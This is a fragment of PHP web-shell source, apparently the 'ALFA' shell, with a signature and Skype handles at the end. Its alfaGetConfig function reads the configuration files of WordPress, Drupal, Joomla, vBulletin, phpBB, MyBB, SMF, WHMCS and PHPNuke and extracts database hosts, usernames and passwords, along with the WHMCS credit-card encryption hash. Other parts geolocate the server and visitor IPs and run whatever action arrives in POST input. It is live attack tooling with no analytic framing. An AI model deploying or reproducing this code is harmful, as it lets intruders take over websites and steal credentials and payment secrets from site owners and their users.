$server_addr = (!@$_SERVER["SERVER_ADDR"]?(function_exists("gethostbyname")?@gethostbyname($_SERVER['SERVER_NAME']):'????'):@$_SERVER["SERVER_ADDR"]);
$flag = $curl->Send("http://www.geoplugin.net/json.gp?ip=" . $server_addr);
$flag2 = $curl->Send("http://www.geoplugin.net/json.gp?ip=" . $_SERVER["REMOTE_ADDR"]);
if(strpos($flag2, "geoplugin") != false){
$flag = json_decode($flag, true);
$flag2 = json_decode($flag2, true);
if(!empty($flag['geoplugin_countryCode'])){
$flags["server"]["name"] = $flag['geoplugin_countryName'];
$flags["server"]["code"] = $flag['geoplugin_countryCode'];
}
if(!empty($flag2['geoplugin_countryCode'])){
$flags["client"]["name"] = $flag2['geoplugin_countryName'];
$flags["client"]["code"] = $flag2['geoplugin_countryCode'];
}
}
}
echo json_encode($flags);
}
function alfaGetConfig(){
$cms = $_POST['alfa1'];
$path = trim($_POST['alfa2']);
$config = array(
'wp'=>array('file'=>'/wp-config.php',
'host'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_HOST(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'dbname'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_NAME(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'dbuser'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_USER(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'dbpw'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_PASSWORD(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'prefix'=>array("/table_prefix[ ]{0,}=[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,};/",1)
),
'drupal'=>array('file'=>'/config.php',
'host'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_HOSTNAME(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'dbname'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_DATABASE(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'dbuser'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_USERNAME(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'dbpw'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_PASSWORD(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'prefix'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_PREFIX(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1)
),
'drupal2'=>array('file'=>'/sites/default/settings.php',
'host'=>array("/(?:'|\")host(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/",1),
'dbname'=>array("/(?:'|\")database(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/",1),
'dbuser'=>array("/(?:'|\")username(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/",1),
'dbpw'=>array("/(?:'|\")password(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/",1),
'prefix'=>array("/(?:'|\")prefix(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/",1)
),
'vb'=>array('file'=>'/includes/config.php',
'host'=>array("/config\[(?:'|\")MasterServer(?:'|\")\]\[(?:'|\")servername(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/",3),
'dbuser'=>array("/config\[(?:'|\")MasterServer(?:'|\")\]\[(?:'|\")username(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/",3),
'dbname'=>array("/config\[(?:'|\")Database(?:'|\")\]\[(?:'|\")dbname(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/",3),
'dbpw'=>array("/config\[(?:'|\")MasterServer(?:'|\")\]\[(?:'|\")password(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/",3),
'prefix'=>array("/config\[(?:'|\")Database(?:'|\")\]\[(?:'|\")tableprefix(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/",3)
),
'phpnuke'=>array('file'=>'/config.php',
'host'=>array('/dbhost(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3),
'dbname'=>array('/dbname(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3),
'dbuser'=>array('/dbuname(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3),
'dbpw'=>array('/dbpass(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3),
'prefix'=>array('/prefix(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3)
),
'smf'=>array('file'=>'/Settings.php',
'host'=>array("/db_server(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbname'=>array("/db_name(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbuser'=>array("/db_user(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbpw'=>array("/db_passwd(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'prefix'=>array("/db_prefix(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3)
),
'whmcs'=>array('file'=>'/configuration.php',
'host'=>array("/db_host(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbname'=>array("/db_name(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbuser'=>array("/db_username(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbpw'=>array("/db_password(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'cc_encryption_hash'=>array("/cc_encryption_hash(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3)
),
'joomla'=>array('file'=>'/configuration.php',
'host'=>array("/\\\$host(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbname'=>array("/\\\$db(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbuser'=>array("/\\\$user(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbpw'=>array("/\\\$password(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'prefix'=>array("/\\\$dbprefix(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3)
),
'phpbb'=>array('file'=>'/config.php',
'host'=>array("/dbhost(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbname'=>array("/dbname(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbuser'=>array("/dbuser(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbpw'=>array("/dbpasswd(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'prefix'=>array("/table_prefix(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3)
),
'mybb'=>array('file'=>'/inc/config.php',
'host'=>array("/config\['database'\]\['hostname'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbname'=>array("/config\['database'\]\['database'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbuser'=>array("/config\['database'\]\['username'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbpw'=>array("/config\['database'\]\['password'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'prefix'=>array("/config\['database'\]\['table_prefix'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3)
)
);
if($cms == "drupal"){
$file = $config[$cms]['file'];
$file=$path.$file;
if(@is_file($file)||_alfa_is_dir($file,"-e")){
}else{
$cms = 'drupal2';
}
}
if($cms == "vb"){
$file = $config[$cms]['file'];
$file=$path.$file;
if(@is_file($file)||_alfa_is_dir($file,"-e")){
}else{
$path .= '/core';
}
}
$data = array();
$srch_host = $config[$cms]['host'][0];
$srch_user = $config[$cms]['dbuser'][0];
$srch_name = $config[$cms]['dbname'][0];
$srch_pw = $config[$cms]['dbpw'][0];
$prefix = $config[$cms]['prefix'][0];
$file = $config[$cms]['file'];
$chost = $config[$cms]['host'][1];
$cuser = $config[$cms]['dbuser'][1];
$cname = $config[$cms]['dbname'][1];
$cpw = $config[$cms]['dbpw'][1];
$cprefix = $config[$cms]['prefix'][1];
if(@is_dir($path)||_alfa_is_dir($path)){
$file=$path.$file;
}elseif(@is_file($path)||_alfa_is_dir($path,"-e")){
$file=$path;
}else{
return false;
}
$file = __read_file($file);
if($cms == "drupal2"){
$file = preg_replace("/\@code(.*?)\@endcode/s", "", $file);
}elseif($cms == "vb"){
$file = preg_replace("/right of the(.*?)BAD!/s", "", $file);
}
if(preg_match($srch_host, $file, $mach)){
$data['host'] = $mach[$chost];
}
if(preg_match($srch_user, $file, $mach)){
$data['user'] = $mach[$cuser];
}
if(preg_match($srch_name, $file, $mach)){
$data['dbname'] = $mach[$cname];
}
if(preg_match($srch_pw, $file, $mach)){
$data['password'] = $mach[$cpw];
}
if(isset($prefix)){
if(preg_match($prefix, $file, $mach)){
$data['prefix'] = $mach[$cprefix];
}
}
if($cms=='whmcs'){
if(preg_match($config[$cms]['cc_encryption_hash'][0], $file, $mach)){
$data['cc_encryption_hash'] = $mach[3];
}
}
echo json_encode($data);
}
if(empty($_POST['a']))
if(isset($default_action) && function_exists('alfa' . $default_action))
$_POST['a'] = $default_action;
else
$_POST['a'] = 'FilesMan2';//'FilesMan';
if(!empty($_POST['a']) && function_exists('alfa' . $_POST['a']))
call_user_func('alfa' . $_POST['a']);
exit;
/*
#Persian Gulf For Ever
#skype : sole.sad
#skype : ehsan.invisible
*/
?>